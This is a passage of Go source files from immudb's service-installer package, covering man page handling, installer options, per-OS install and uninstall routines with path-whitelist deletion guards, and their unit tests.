pages func (ms manpageService) UninstallManPages(dir string, serviceName string) error { err1 := os.Remove(filepath.Join(dir, serviceName+"-version.1")) err2 := os.Remove(filepath.Join(dir, serviceName+".1")) switch { case err1 != nil: return err1 case err2 != nil: return err2 default: return nil } } ================================================ FILE: cmd/sservice/manpageservice_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sservice import ( "io/ioutil" "os" "path/filepath" "testing" "github.com/spf13/cobra" "github.com/stretchr/testify/require" ) func TestManpageService(t *testing.T) { manDir := filepath.Join(t.TempDir(), "man_dir_test") t.Run("install", func(t *testing.T) { rootCmd := &cobra.Command{Use: "test"} versionCmd := &cobra.Command{Use: "version", Run: func(cmd *cobra.Command, args []string) {}} rootCmd.AddCommand(versionCmd) mps := manpageService{} require.NoError(t, mps.InstallManPages(manDir, "test", rootCmd)) manFiles, err := ioutil.ReadDir(manDir) require.NoError(t, err) require.Equal(t, 2, len(manFiles)) }) t.Run("uninstall", func(t *testing.T) { mps := manpageService{} _, err := ioutil.ReadDir(manDir) require.NoError(t, err) require.NoError(t, mps.UninstallManPages(manDir, "test")) manFiles, err := ioutil.ReadDir(manDir) require.NoError(t, err) require.Empty(t, manFiles) os.RemoveAll(manDir) }) } ================================================ FILE: cmd/sservice/option.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sservice //Option service instance options type Option struct { ExecPath string ConfigPath string User string Group string UsageExamples string UsageDetails string StartUpConfig string Config []byte } //WithExecPath sets the exec path func (o *Option) WithExecPath(path string) *Option { o.ExecPath = path return o } //WithConfigPath sets the config path func (o *Option) WithConfigPath(path string) *Option { o.ConfigPath = path return o } //WithUser sets the user func (o *Option) WithUser(user string) *Option { o.User = user return o } //WithGroup sets the groups func (o *Option) WithGroup(group string) *Option { o.Group = group return o } //WithUsageExamples sets usage examples func (o *Option) WithUsageExamples(usage string) *Option { o.UsageExamples = usage return o } //WithUsageDetails sets usage details func (o *Option) WithUsageDetails(usage string) *Option { o.UsageDetails = usage return o } //WithStartUpConfig sets the startup configurations func (o *Option) WithStartUpConfig(config string) *Option { o.StartUpConfig = config return o } //WithConfig sets the startup configurations func (o *Option) WithConfig(config []byte) *Option { o.Config = config return o } ================================================ FILE: cmd/sservice/option_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sservice import ( "bytes" "testing" ) func TestOption(t *testing.T) { op := &Option{} op = op.WithConfigPath("/configpath"). WithExecPath("/execpath"). WithGroup("groupname"). WithUsageDetails("service usage details"). WithUsageExamples("service usage examples"). WithUser("/user"). WithStartUpConfig("startupconfig"). WithConfig([]byte("immuclientconfig")) if (op.ConfigPath != "/configpath") || (op.ExecPath != "/execpath") || (op.Group != "groupname") || (op.UsageDetails != "service usage details") || (op.UsageExamples != "service usage examples") || (op.User != "/user") || (op.StartUpConfig != "startupconfig") || (!bytes.Equal(op.Config, []byte("immuclientconfig"))) { t.Fatal("service option fail") } } ================================================ FILE: cmd/sservice/sservice.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sservice import ( "io" "github.com/spf13/cobra" "github.com/takama/daemon" ) // Sservice ... type Sservice interface { NewDaemon(serviceName, description string, dependencies ...string) (d daemon.Daemon, err error) IsAdmin() (bool, error) InstallSetup(serviceName string, cmd *cobra.Command) (err error) UninstallSetup(serviceName string) (err error) EraseData(serviceName string) (err error) IsRunning(status string) bool GetDefaultConfigPath(serviceName string) (string, error) ReadConfig(serviceName string) (err error) InstallConfig(serviceName string) (err error) CopyExecInOsDefault(execPath string) (newExecPath string, err error) GetDefaultExecPath(serviceName string) (string, error) UninstallExecutables(serviceName string) error } // SservicePermissions ... type SservicePermissions interface { GroupCreateIfNotExists() (err error) UserCreateIfNotExists() (err error) SetOwnership(path string) (err error) } // ConfigService ... type ConfigService interface { WriteConfigAs(filename string) error GetString(key string) string SetConfigType(in string) ReadConfig(in io.Reader) error } ================================================ FILE: cmd/sservice/sservice_freebsd.go ================================================ //go:build freebsd // +build freebsd /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sservice import ( "bytes" "errors" "fmt" "io" "os" "os/exec" "os/user" "regexp" "strconv" "strings" "github.com/codenotary/immudb/pkg/immuos" "github.com/spf13/cobra" "github.com/spf13/viper" "github.com/takama/daemon" ) // NewSService ... func NewSService(options *Option) *sservice { mps := NewManpageService() return &sservice{immuos.NewStandardOS(), viper.New(), *options, mps} } type sservice struct { os immuos.OS v ConfigService options Option mps ManpageService } // NewDaemon ... func (ss *sservice) NewDaemon(serviceName string, description string, dependencies ...string) (d daemon.Daemon, err error) { ep, _ := ss.GetDefaultExecPath(serviceName) d, err = daemon.New(serviceName, description, ep, dependencies...) d.SetTemplate(ss.options.StartUpConfig) return d, err } // IsAdmin check if current user is root func (ss sservice) IsAdmin() (bool, error) { if output, err := exec.Command("id", "-g").Output(); err == nil { if gid, parseErr := strconv.ParseUint(strings.TrimSpace(string(output)), 10, 32); parseErr == nil { if gid == 0 { return true, nil } return false, ErrRootPrivileges } } return false, ErrUnsupportedSystem } // InstallSetup ... func (ss sservice) InstallSetup(serviceName string, cmd *cobra.Command) (err error) { if err = ss.ReadConfig(serviceName); err != nil { return err } if err = ss.GroupCreateIfNotExists(); err != nil { return err } if err = ss.UserCreateIfNotExists(); err != nil { return err } execPath, err := ss.CopyExecInOsDefault(serviceName) if err != nil { return err } if err = ss.SetOwnership(execPath); err != nil { return err } if err = ss.InstallConfig(serviceName); err != nil { return err } if err = ss.os.MkdirAll(ss.v.GetString("dir"), os.ModePerm); err != nil { return err } if err = ss.SetOwnership(ss.v.GetString("dir")); err != nil { return err } logPath := ss.os.Dir(ss.v.GetString("logfile")) if err = ss.os.MkdirAll(logPath, os.ModePerm); err != nil { return err } if err = ss.SetOwnership(logPath); err != nil { return err } pidPath := ss.os.Dir(ss.v.GetString("pidfile")) if err = ss.os.MkdirAll(pidPath, os.ModePerm); err != nil { return err } if err = ss.SetOwnership(pidPath); err != nil { return err } if err = ss.InstallManPages(serviceName, cmd); err != nil { return err } return err } // UninstallSetup uninstall operations func (ss sservice) UninstallSetup(serviceName string) (err error) { if err = ss.ReadConfig(serviceName); err != nil { return err } if err = ss.UninstallExecutables(serviceName); err != nil { return err } if err = ss.osRemoveAll(ss.os.Dir(ss.v.GetString("logfile"))); err != nil { return err } err = ss.UninstallManPages(serviceName) if err != nil { return err } // remove dir data folder only if it is empty cepd := ss.v.GetString("dir") if _, err := os.Stat(cepd); !os.IsNotExist(err) { f1, err := ss.os.Open(cepd) if err != nil { return err } defer f1.Close() _, err = f1.Readdirnames(1) if err == io.EOF { err = ss.osRemove(cepd) } } cp, err := ss.GetDefaultConfigPath(serviceName) if err != nil { return err } config := ss.os.Dir(cp) return ss.osRemoveAll(config) } // installConfig install config in /etc folder func (ss sservice) InstallConfig(serviceName string) (err error) { if err = ss.ReadConfig(serviceName); err != nil { return err } cp, _ := ss.GetDefaultConfigPath(serviceName) var configDir = ss.os.Dir(cp) err = ss.os.MkdirAll(configDir, os.ModePerm) if err != nil { return err } configPath, _ := ss.GetDefaultConfigPath(serviceName) if err = ss.v.WriteConfigAs(configPath); err != nil { return err } return ss.SetOwnership(configPath) } func (ss sservice) GroupCreateIfNotExists() (err error) { if _, err = ss.os.LookupGroup(ss.options.Group); err != user.UnknownGroupError(ss.options.Group) { return err } if err = ss.os.AddGroup(ss.options.Group); err != nil { return err } return err } func (ss sservice) UserCreateIfNotExists() (err error) { if _, err = ss.os.Lookup(ss.options.User); err != user.UnknownUserError(ss.options.User) { return err } if err = ss.os.AddUser(ss.options.Group, ss.options.User); err != nil { return err } return err } func (ss sservice) SetOwnership(path string) (err error) { var g *user.Group var u *user.User if g, err = ss.os.LookupGroup(ss.options.Group); err != nil { return err } if u, err = ss.os.Lookup(ss.options.User); err != nil { return err } uid, _ := strconv.Atoi(u.Uid) gid, _ := strconv.Atoi(g.Gid) return ss.os.Walk(path, func(name string, info os.FileInfo, err error) error { if err == nil { err = ss.osChown(name, uid, gid) } return err }) } // EraseData erase all service data func (ss sservice) EraseData(serviceName string) (err error) { if err = ss.ReadConfig(serviceName); err != nil { return err } return ss.osRemoveAll(ss.os.FromSlash(ss.v.GetString("dir"))) } // IsRunning check if status derives from a running process func (ss sservice) IsRunning(status string) bool { re := regexp.MustCompile(`is running`) return re.Match([]byte(status)) } func (ss sservice) ReadConfig(serviceName string) (err error) { ss.v.SetConfigType("toml") return ss.v.ReadConfig(bytes.NewBuffer(ss.options.Config)) } // copyExecInOsDefault copy the executable in default exec folder and returns the path. It accepts an executable absolute path func (ss sservice) CopyExecInOsDefault(serviceName string) (string, error) { currentExec, err := os.Executable() if err != nil { return "", err } from, err := ss.os.Open(currentExec) if err != nil { return "", err } defer from.Close() path, _ := ss.GetDefaultExecPath(serviceName) to, err := ss.os.OpenFile(path, os.O_RDWR|os.O_CREATE, 0666) if err != nil { return "", err } defer to.Close() if _, err = io.Copy(to, from); err != nil { return "", err } if err = ss.osChmod(path, 0775); err != nil { return "", err } return path, err } func (ss sservice) GetDefaultExecPath(serviceName string) (string, error) { return ss.os.Join(ss.options.ExecPath, serviceName), nil } func (ss sservice) UninstallExecutables(serviceName string) error { ep, _ := ss.GetDefaultExecPath(serviceName) return ss.osRemove(ep) } func (ss sservice) InstallManPages(serviceName string, cmd *cobra.Command) error { if cmd != nil { return ss.mps.InstallManPages(ManPath, serviceName, cmd) } return nil } func (ss sservice) UninstallManPages(serviceName string) error { return ss.mps.UninstallManPages(ManPath, serviceName) } // GetDefaultConfigPath returns the default config path func (ss sservice) GetDefaultConfigPath(serviceName string) (string, error) { return ss.os.Join(ss.options.ConfigPath, serviceName, serviceName+".toml"), nil } func (ss sservice) osChown(name string, uid, gid int) error { if err := permissionGuard(name); err != nil { return err } return ss.os.Chown(name, uid, gid) } func (ss sservice) osChmod(name string, mode os.FileMode) error { if err := permissionGuard(name); err != nil { return err } return ss.os.Chmod(name, mode) } var whitelist = []string{"/etc/immu", "/usr/sbin/immu", "/var/log/immu", "/var/lib/immu"} func (ss sservice) osRemove(folder string) error { if err := deletionGuard(folder); err != nil { return err } return ss.os.Remove(folder) } func (ss sservice) osRemoveAll(folder string) error { if err := deletionGuard(folder); err != nil { return err } return ss.os.RemoveAll(folder) } func deletionGuard(path string) error { var v string found := false for _, v = range whitelist { if strings.HasPrefix(path, v) { found = true break } } if !found { return fmt.Errorf("os system file or folder protected item deletion not allowed. Check immu* service configuration: %s", path) } return nil } var permissionWhitelist = []string{"immu"} func permissionGuard(path string) error { info, err := os.Stat(path) if os.IsNotExist(err) { return errors.New("file or folder does not exist") } if !info.IsDir() { // changing a specific file permissions is allowed return nil } found := false for _, v := range permissionWhitelist { // changing a folder permissions is allowed with restrictions if strings.Contains(path, v) { found = true break } } if !found { return fmt.Errorf(" Check immu* service configuration: %s", path) } return nil } ================================================ FILE: cmd/sservice/sservice_unix.go ================================================ //go:build linux || darwin // +build linux darwin /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sservice import ( "bytes" "errors" "fmt" "io" "os" "os/exec" "os/user" "regexp" "strconv" "strings" "github.com/codenotary/immudb/pkg/immuos" "github.com/spf13/cobra" "github.com/spf13/viper" "github.com/takama/daemon" ) // NewSService ... func NewSService(options *Option) *sservice { mps := NewManpageService() return &sservice{immuos.NewStandardOS(), viper.New(), *options, mps} } type sservice struct { os immuos.OS v ConfigService options Option mps ManpageService } // NewDaemon ... func (ss *sservice) NewDaemon(serviceName string, description string, dependencies ...string) (d daemon.Daemon, err error) { ep, _ := ss.GetDefaultExecPath(serviceName) d, err = daemon.New(serviceName, description, ep, dependencies...) d.SetTemplate(ss.options.StartUpConfig) return d, err } // IsAdmin check if current user is root func (ss sservice) IsAdmin() (bool, error) { if output, err := exec.Command("id", "-g").Output(); err == nil { if gid, parseErr := strconv.ParseUint(strings.TrimSpace(string(output)), 10, 32); parseErr == nil { if gid == 0 { return true, nil } return false, ErrRootPrivileges } } return false, ErrUnsupportedSystem } type delayedTasks struct { fns []func() error } func (dt *delayedTasks) delay(f func() error) { dt.fns = append(dt.fns, f) } func (dt *delayedTasks) do() error { for _, f := range dt.fns { err := f() if err != nil { return err } } return nil } // InstallSetup ... func (ss sservice) InstallSetup(serviceName string, cmd *cobra.Command) (err error) { tasks := &delayedTasks{} tasks.delay(func() error { return ss.ReadConfig(serviceName) }) tasks.delay(ss.GroupCreateIfNotExists) tasks.delay(ss.UserCreateIfNotExists) err = tasks.do() if err != nil { return err } execPath, err := ss.CopyExecInOsDefault(serviceName) if err != nil { return err } tasks = &delayedTasks{} tasks.delay(func() error { return ss.SetOwnership(execPath) }) tasks.delay(func() error { return ss.InstallConfig(serviceName) }) tasks.delay(func() error { return ss.os.MkdirAll(ss.v.GetString("dir"), os.ModePerm) }) tasks.delay(func() error { return ss.SetOwnership(ss.v.GetString("dir")) }) logPath := ss.os.Dir(ss.v.GetString("logfile")) tasks.delay(func() error { return ss.os.MkdirAll(logPath, os.ModePerm) }) tasks.delay(func() error { return ss.SetOwnership(logPath) }) pidPath := ss.os.Dir(ss.v.GetString("pidfile")) tasks.delay(func() error { return ss.os.MkdirAll(pidPath, os.ModePerm) }) tasks.delay(func() error { return ss.SetOwnership(pidPath) }) tasks.delay(func() error { return ss.InstallManPages(serviceName, cmd) }) return tasks.do() } // UninstallSetup uninstall operations func (ss sservice) UninstallSetup(serviceName string) (err error) { tasks := &delayedTasks{} tasks.delay(func() error { return ss.ReadConfig(serviceName) }) tasks.delay(func() error { return ss.UninstallExecutables(serviceName) }) tasks.delay(func() error { return ss.osRemoveAll(ss.os.Dir(ss.v.GetString("logfile"))) }) tasks.delay(func() error { return ss.UninstallManPages(serviceName) }) tasks.delay(func() error { cepd := ss.v.GetString("dir") return ss.removeFolderIfEmpty(cepd) }) tasks.delay(func() error { cp, err := ss.GetDefaultConfigPath(serviceName) if err != nil { return err } config := ss.os.Dir(cp) return ss.osRemoveAll(config) }) return tasks.do() } // installConfig install config in /etc folder func (ss sservice) InstallConfig(serviceName string) (err error) { if err = ss.ReadConfig(serviceName); err != nil { return err } cp, _ := ss.GetDefaultConfigPath(serviceName) var configDir = ss.os.Dir(cp) err = ss.os.MkdirAll(configDir, os.ModePerm) if err != nil { return err } configPath, _ := ss.GetDefaultConfigPath(serviceName) if err = ss.v.WriteConfigAs(configPath); err != nil { return err } return ss.SetOwnership(configPath) } func (ss sservice) GroupCreateIfNotExists() (err error) { if _, err = ss.os.LookupGroup(ss.options.Group); err != user.UnknownGroupError(ss.options.Group) { return err } return ss.os.AddGroup(ss.options.Group) } func (ss sservice) UserCreateIfNotExists() (err error) { if _, err = ss.os.Lookup(ss.options.User); err != user.UnknownUserError(ss.options.User) { return err } return ss.os.AddUser(ss.options.Group, ss.options.User) } func (ss sservice) SetOwnership(path string) (err error) { var g *user.Group var u *user.User if g, err = ss.os.LookupGroup(ss.options.Group); err != nil { return err } if u, err = ss.os.Lookup(ss.options.User); err != nil { return err } uid, _ := strconv.Atoi(u.Uid) gid, _ := strconv.Atoi(g.Gid) return ss.os.Walk(path, func(name string, info os.FileInfo, err error) error { if err == nil { err = ss.osChown(name, uid, gid) } return err }) } // EraseData erase all service data func (ss sservice) EraseData(serviceName string) (err error) { if err = ss.ReadConfig(serviceName); err != nil { return err } return ss.osRemoveAll(ss.os.FromSlash(ss.v.GetString("dir"))) } // IsRunning check if status derives from a running process func (ss sservice) IsRunning(status string) bool { re := regexp.MustCompile(`is running`) return re.Match([]byte(status)) } func (ss sservice) ReadConfig(serviceName string) (err error) { ss.v.SetConfigType("toml") return ss.v.ReadConfig(bytes.NewBuffer(ss.options.Config)) } // copyExecInOsDefault copy the executable in default exec folder and returns the path. It accepts an executable absolute path func (ss sservice) CopyExecInOsDefault(serviceName string) (string, error) { currentExec, err := os.Executable() if err != nil { return "", err } from, err := ss.os.Open(currentExec) if err != nil { return "", err } defer from.Close() path, _ := ss.GetDefaultExecPath(serviceName) to, err := ss.os.OpenFile(path, os.O_RDWR|os.O_CREATE, 0666) if err != nil { return "", err } defer to.Close() if _, err = io.Copy(to, from); err != nil { return "", err } if err = ss.osChmod(path, 0775); err != nil { return "", err } return path, err } func (ss sservice) GetDefaultExecPath(serviceName string) (string, error) { return ss.os.Join(ss.options.ExecPath, serviceName), nil } func (ss sservice) UninstallExecutables(serviceName string) error { ep, _ := ss.GetDefaultExecPath(serviceName) return ss.osRemove(ep) } func (ss sservice) InstallManPages(serviceName string, cmd *cobra.Command) error { if cmd != nil { return ss.mps.InstallManPages(ManPath, serviceName, cmd) } return nil } func (ss sservice) UninstallManPages(serviceName string) error { return ss.mps.UninstallManPages(ManPath, serviceName) } // GetDefaultConfigPath returns the default config path func (ss sservice) GetDefaultConfigPath(serviceName string) (string, error) { return ss.os.Join(ss.options.ConfigPath, serviceName, serviceName+".toml"), nil } var whitelist = []string{"/etc/immu", "/usr/sbin/immu", "/var/log/immu", "/var/lib/immu"} func (ss sservice) removeFolderIfEmpty(folder string) error { if _, err := os.Stat(folder); !os.IsNotExist(err) { f1, err := ss.os.Open(folder) if err != nil { return err } defer f1.Close() _, err = f1.Readdirnames(1) if err == io.EOF { return ss.osRemove(folder) } } return nil } func (ss sservice) osChown(name string, uid, gid int) error { if err := permissionGuard(name); err != nil { return err } return ss.os.Chown(name, uid, gid) } func (ss sservice) osChmod(name string, mode os.FileMode) error { if err := permissionGuard(name); err != nil { return err } return ss.os.Chmod(name, mode) } func (ss sservice) osRemove(folder string) error { if err := deletionGuard(folder); err != nil { return err } return ss.os.Remove(folder) } func (ss sservice) osRemoveAll(folder string) error { if err := deletionGuard(folder); err != nil { return err } return ss.os.RemoveAll(folder) } func deletionGuard(path string) error { var v string found := false for _, v = range whitelist { if strings.HasPrefix(path, v) { found = true break } } if !found { return fmt.Errorf("os system file or folder protected item deletion not allowed. Check immu* service configuration: %s", path) } return nil } var permissionWhitelist = []string{"immu"} func permissionGuard(path string) error { info, err := os.Stat(path) if os.IsNotExist(err) { return errors.New("file or folder does not exist") } if !info.IsDir() { // changing a specific file permissions is allowed return nil } found := false for _, v := range permissionWhitelist { // changing a folder permissions is allowed with restrictions if strings.Contains(path, v) { found = true break } } if !found { return fmt.Errorf("service installer tries to modify permissions on a not allowed item. Check immu* service configuration: %s", path) } return nil } ================================================ FILE: cmd/sservice/sservice_unix_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sservice import ( "io/ioutil" "os" "os/user" "path/filepath" "testing" "github.com/codenotary/immudb/cmd/immudb/command/immudbcmdtest" "github.com/codenotary/immudb/cmd/immudb/command/service/servicetest" "github.com/spf13/cobra" "github.com/spf13/viper" "github.com/codenotary/immudb/pkg/immuos" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" daem "github.com/takama/daemon" ) var osMock *immuos.StandardOS func init() { osMock = immuos.NewStandardOS() osMock.ChownF = func(name string, uid, gid int) error { return nil } osMock.MkdirAllF = func(path string, perm os.FileMode) error { return nil } osMock.RemoveF = func(name string) error { return nil } osMock.RemoveAllF = func(path string) error { return nil } osMock.IsNotExistF = func(err error) bool { return false } osMock.OpenF = func(name string) (*os.File, error) { return ioutil.TempFile("", "temp") } osMock.OpenFileF = func(name string, flag int, perm os.FileMode) (*os.File, error) { return ioutil.TempFile("", "temp") } osMock.ChmodF = func(name string, mode os.FileMode) error { return nil } osMock.WalkF = func(root string, walkFn filepath.WalkFunc) error { return nil } osMock.AddGroupF = func(name string) error { return nil } osMock.AddUserF = func(usr string, group string) error { return nil } osMock.LookupGroupF = func(name string) (*user.Group, error) { return &user.Group{}, nil } osMock.LookupF = func(username string) (*user.User, error) { return &user.User{}, nil } } func TestSservice_NewService(t *testing.T) { op := &Option{} ss := NewSService(op) assert.IsType(t, &sservice{}, ss) } func TestSservice_NewDaemon(t *testing.T) { op := Option{} mps := manpageService{} ss := sservice{osMock, &servicetest.ConfigServiceMock{}, op, mps} d, err := ss.NewDaemon("test", "", "") assert.NoError(t, err) dc, _ := daem.New("test", "", "") assert.IsType(t, d, dc) } func TestSservice_IsAdmin(t *testing.T) { op := Option{} mps := manpageService{} ss := sservice{osMock, &servicetest.ConfigServiceMock{}, op, mps} _, err := ss.IsAdmin() assert.Errorf(t, err, "you must have root user privileges. Possibly using 'sudo' command should help") } func TestSservice_immudb(t *testing.T) { dir := t.TempDir() t.Run("install", func(t *testing.T) { op := Option{} mps := immudbcmdtest.ManpageServiceMock{} ss := sservice{osMock, &servicetest.ConfigServiceMock{}, op, mps} err := ss.InstallSetup(dir, &cobra.Command{}) require.NoError(t, err) }) t.Run("uninstall", func(t *testing.T) { op := Option{} // provide op.ExecPath = "/usr/sbin/immudbnotexistentexec" op.ConfigPath = "/etc/immunotexistent" c := viper.New() c.Set("dir", "/var/lib/immuconfignotexistent") c.Set("logfile", "/var/log/immunotexist/immulognotexistent") mps := immudbcmdtest.ManpageServiceMock{} ss := sservice{osMock, c, op, mps} err := ss.UninstallSetup(dir) assert.NoError(t, err) }) } func TestSservice_getDefaultExecPath(t *testing.T) { op := Option{} mps := manpageService{} ss := sservice{osMock, &servicetest.ConfigServiceMock{}, op, mps} path, err := ss.GetDefaultExecPath("immudb") assert.NotNil(t, path) assert.NoError(t, err) } func TestSservice_CopyExecInOsDefault(t *testing.T) { op := Option{} op.ExecPath = t.TempDir() err := os.Mkdir(filepath.Join(op.ExecPath, "immutest"), 0777) require.NoError(t, err) mps := manpageService{} ss := sservice{osMock, &servicetest.ConfigServiceMock{}, op, mps} _, err = ss.CopyExecInOsDefault("immutest") assert.NoError(t, err) } func TestSservice_EraseData_immudb(t *testing.T) { op := Option{} mps := manpageService{} c := viper.New() c.Set("dir", "/var/lib/immuconfignotexistent") ss := sservice{osMock, c, op, mps} err := ss.EraseData("immudb") assert.NoError(t, err) } ================================================ FILE: cmd/sservice/sservice_windows.go ================================================ //go:build windows // +build windows /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sservice import ( "bytes" "errors" "io" "os" "path/filepath" "runtime" "strings" "github.com/codenotary/immudb/pkg/immuos" "github.com/spf13/cobra" "github.com/spf13/viper" "github.com/codenotary/immudb/cmd/helper" "github.com/takama/daemon" "golang.org/x/sys/windows" ) type sservice struct { os immuos.OS v ConfigService options Option } // NewSService ... func NewSService(options *Option) *sservice { return &sservice{immuos.NewStandardOS(), viper.New(), *options} } func (ss *sservice) NewDaemon(serviceName, description string, dependencies ...string) (d daemon.Daemon, err error) { var ep string if ep, err = ss.GetDefaultExecPath(serviceName); err != nil { return nil, err } d, err = daemon.New(serviceName, description, ep, dependencies...) return d, err } func (ss *sservice) IsAdmin() (bool, error) { if runtime.GOOS == "windows" { var sid *windows.SID // Although this looks scary, it is directly copied from the // official windows documentation. The Go API for this is a // direct wrap around the official C++ API. // See https://docs.microsoft.com/en-us/windows/desktop/api/securitybaseapi/nf-securitybaseapi-checktokenmembership err := windows.AllocateAndInitializeSid( &windows.SECURITY_NT_AUTHORITY, 2, windows.SECURITY_BUILTIN_DOMAIN_RID, windows.DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &sid) if err != nil { return false, err } // This appears to cast a null pointer so I'm not sure why this // works, but this guy says it does and it Works for Me™: // https://github.com/golang/go/issues/28804#issuecomment-438838144 token := windows.Token(0) _, err = token.IsMember(sid) // Also note that an admin is _not_ necessarily considered // elevated. // For elevation see https://github.com/mozey/run-as-admin if err != nil { return false, err } return true, nil } return false, ErrUnsupportedSystem } func (ss *sservice) InstallSetup(serviceName string, cmd *cobra.Command) (err error) { if err = ss.ReadConfig(serviceName); err != nil { return err } _, err = ss.CopyExecInOsDefault(serviceName) if err != nil { return err } if err = ss.InstallConfig(serviceName); err != nil { return err } return err } func (ss *sservice) UninstallSetup(serviceName string) (err error) { if err = ss.ReadConfig(serviceName); err != nil { return err } // Program Files\{ServiceName}\{serviceName}.exe if err = ss.UninstallExecutables(serviceName); err != nil { return err } // config, pid and log in ProgramData\{ServiceName}\config if err = ss.RemoveProgramFiles(serviceName); err != nil { return err } // get immudb folder cepd := strings.Replace(ss.v.GetString("dir"), "data", "", 1) // remove immudb folder folder only if it is empty if _, err := os.Stat(cepd); !os.IsNotExist(err) { f1, err := ss.os.Open(cepd) if err != nil { return err } defer f1.Close() _, err = f1.Readdirnames(1) if err == io.EOF { err = ss.osRemove(cepd) } } return err } // EraseData erase all data func (ss *sservice) EraseData(serviceName string) (err error) { if err = ss.ReadConfig(serviceName); err != nil { return err } var path string path = filepath.FromSlash(ss.v.GetString("dir")) if err := ss.osRemoveAll(path); err != nil { return err } return nil } // IsRunning check if status derives from a running process func (ss *sservice) IsRunning(status string) bool { return status == "Status: SERVICE_RUNNING" } // GetDefaultConfigPath returns the default config path func (ss *sservice) GetDefaultConfigPath(serviceName string) (dataDir string, err error) { dataDir = filepath.FromSlash(ss.v.GetString("dir")) var pd string if pd, err = windows.KnownFolderPath(windows.FOLDERID_ProgramData, windows.KF_FLAG_DEFAULT); err != nil { return "", err } dataDir = strings.Replace(dataDir, "%programdata%", pd, -1) configDir := strings.Replace(dataDir, "data", "", 1) return filepath.Join(strings.Title(configDir), "config", serviceName+".toml"), err } func (ss *sservice) ReadConfig(serviceName string) (err error) { ss.v.SetConfigType("toml") var pc string if pc, err = helper.ResolvePath(bytes.NewBuffer(ss.options.Config).String(), true); err != nil { return err } return ss.v.ReadConfig(strings.NewReader(pc)) } func (ss *sservice) InstallConfig(serviceName string) (err error) { var cp string if err = ss.ReadConfig(serviceName); err != nil { return err } if cp, err = ss.GetDefaultConfigPath(serviceName); err != nil { return err } var configDir = filepath.Dir(cp) err = ss.os.MkdirAll(configDir, os.ModePerm) if err != nil { return err } return ss.v.WriteConfigAs(cp) } //CopyExecInOsDefault copy the executable in default exec folder and returns the path func (ss *sservice) CopyExecInOsDefault(serviceName string) (path string, err error) { currentExec, err := os.Executable() if err != nil { return "", err } from, err := ss.os.Open(currentExec) if err != nil { return "", err } defer from.Close() path, _ = ss.GetDefaultExecPath(serviceName) err = ss.os.MkdirAll(filepath.Dir(path), os.ModePerm) if err != nil { return "", err } to, err := ss.os.OpenFile(path, os.O_RDWR|os.O_CREATE, 0666) if err != nil { return "", err } defer to.Close() if _, err = io.Copy(to, from); err != nil { return "", err } return path, err } // RemoveProgramFiles remove only config folder func (ss *sservice) RemoveProgramFiles(serviceName string) (err error) { if err = ss.ReadConfig(serviceName); err != nil { return err } configPath, err := ss.GetDefaultConfigPath(serviceName) if err != nil { return err } return ss.osRemoveAll(filepath.Dir(configPath)) } func (ss sservice) UninstallExecutables(serviceName string) (err error) { var ep string if ep, err = ss.GetDefaultExecPath(serviceName); err != nil { return err } return ss.osRemoveAll(filepath.Dir(ep)) } // GetDefaultExecPath returns the default executable file path func (ss sservice) GetDefaultExecPath(serviceName string) (ep string, err error) { if ep, err = ss.getCommonExecPath(); err != nil { return "", err } return ss.os.Join(ep, strings.Title(serviceName), serviceName+".exe"), nil } // getCommonExecPath returns exec path for all services func (ss *sservice) getCommonExecPath() (string, error) { pf, err := windows.KnownFolderPath(windows.FOLDERID_ProgramFiles, windows.KF_FLAG_DEFAULT) if err != nil { return "", err } return pf, 